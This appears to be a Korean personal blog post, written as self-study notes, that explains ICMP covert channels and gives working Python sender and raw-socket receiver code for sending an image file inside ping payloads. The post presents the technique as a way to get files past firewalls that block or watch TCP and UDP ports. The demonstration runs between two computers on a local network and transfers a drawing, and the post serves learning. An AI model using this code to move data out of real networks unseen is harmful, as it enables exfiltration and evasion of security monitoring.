학사 나부랭이

Network - File transfer 본문

自習/実習

Network - File transfer

태양왕 해킹 (14세) 2021. 7. 3. 02:42

 네트워크에서 프로토콜은 약속이고 정의하기 나름이에요. 그러니, IP 헤더의 사용하지 않는 부분에 특정한 약속을 만들거나, ICMP 헤더의 데이터에 다른 프로토콜을 구현할 수도 있죠. 이런 방식으로 숨겨서 정보를 전송하는 네트워크 공격 기법이 은닉 채널(Covert Channel)이에요. 예를 들어, 방화벽 같은 장비에서 TCP, UDP 포트를 막았거나 감시할 때 이용해, 감시 장비를 우회해 파일을 전송할 수 있어요.

PING은 거의 모든 운영체제에 설치되어 있는 도구며, 이를 이용한 코드로 TCP, UDP 포트가 막혀도 파일을 전송할 수 있어요. 이제 PING 기능을 이용해, ICMP의 메시지로 사진 파일을 전송할 거예요.

# receiver's code
from socket import *
import os
import struct
import sys


def parseIPHeader(ip_header):
    ip_headers = struct.unpack("!2B3H2BH4s4s", ip_header[:20])
    ip_payloads = ip_header[20:]
    return ip_headers, ip_payloads


def parseICMPHeader(icmp_data):
    icmp_headers = struct.unpack("!2B3H", icmp_data[:8])
    icmp_payloads = icmp_data[8:]
    return icmp_headers, icmp_payloads


def parsing(host):
    # make raw socket and bind
    if os.name == "nt":
        sock_protocol = IPPROTO_IP
    else:
        sock_protocol = IPPROTO_ICMP
    sock = socket(AF_INET, SOCK_RAW, sock_protocol)
    sock.bind((host, 0))

    # socket option
    sock.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)

    # turn on the promiscuous mode
    if os.name == "nt":
        sock.ioctl(SIO_RCVALL, RCVALL_ON)

    file_path = "./carrot_batter.jpg"

    if os.path.isfile(file_path):
        os.remove(file_path)
    receive_bytes = 0
    try:
        while True:
            data = sock.recvfrom(65535)
            ip_headers, ip_payloads = parseIPHeader(data[0])
            if ip_headers[6] == 1:  # ICMP only
                ip_source_address = inet_ntoa(ip_headers[8])
                ip_destination_address = inet_ntoa(ip_headers[9])
                print(f"from.{ip_source_address}->to.{ip_destination_address}")
                icmp_headers, icmp_payloads = parseICMPHeader(ip_payloads)
                # 수신하는 데이터의 byte 크기를 출력
                receive_bytes += len(icmp_payloads)
                if icmp_headers[0] == 8:  # 수신받은 ICMP 패킷 중 Echo Request인 패킷
                    print(f"Receiving data... {receive_bytes}")
                    with open(file_path, "ab") as f:  # byte 형태로 fil_path 뒤에 붙임
                        f.write(icmp_payloads)  # 파일 입출력의 내용
                    if icmp_payloads == b"EOF":
                        print("Finished!!!")
                        sock.ioctl(SIO_RCVALL, RCVALL_OFF)
                        sys.exit(0)
                    print("=" * 20)
    except KeyboardInterrupt:  # Ctrl + C key input
        if os.name == "nt":
            sock.ioctl(SIO_RCVALL, RCVALL_OFF)


if __name__ == "__main__":
    host = "192.168.0.21"
    print(f"START SNIFFING at {host}")
    parsing(host)
# sender's code
from pythonping import ping
from time import sleep

with open("./carrot_batter.jpg", "rb") as f:  # 송신할 파일을 byte 형태로 읽음
    while True:
        byte = f.read(1024)  # 1024bytes 만큼 버퍼를 읽음
        if byte == b"":  # EOF, Null'
            ping("192.168.0.21", verbose=True, count=1, payload=b"EOF")
            break
        ping("192.168.0.21", verbose=True, count=1, payload=byte)  # ICMP 데이터 부분에 읽은 버퍼를 넣고, Echo Request 패킷을 전송
        sleep(0.5)  # 도착 순서를 보장할 수 없으니(=순서가 꼬여 제대로 된 파일이 완성되지 않을 수 있으니), 간격을 줘서 전송 요청

패킷은 송수신 순서를 보장하지 않기에 즉, 먼저 보낸 패킷이 나중에 도달할 수 있다는 점을 주의해야 해요.

여기서 새로 알게 된 파이썬 파일 입출력의 모드에 대해 살짝 알아보죠.

with open(path_of_file, mode) as var_name:
    var_name.read()
    var_name.write()
Mode Function
r reading mode
w writing mode, if file_existing == True: deleteFile
x writing mode, if file_existing == True: tossError
a writing mode, attaching bytes at "tail of file"
+ reading writing mode
t text mode, in/output as text form
b binary mode, in/output as byte form

모드는 rt가 기본이고, 코드처럼 조합해 사용 가능해요.

송신하는 컴퓨터(192.168.0.9)의 프롬프트 창
수신하는 컴퓨터(192.168.0.21)의 프롬프트 창
직접 그린 귀여운 윾돌이가 무사히 전송 되었어요!

 

'自習 > 実習' 카테고리의 다른 글

Network - Remote control with sockets  (0) 2021.07.13
Kali Linux - Opening  (0) 2021.05.14
reset the root's password of ESXi 6.0.0  (0) 2021.05.11
Comments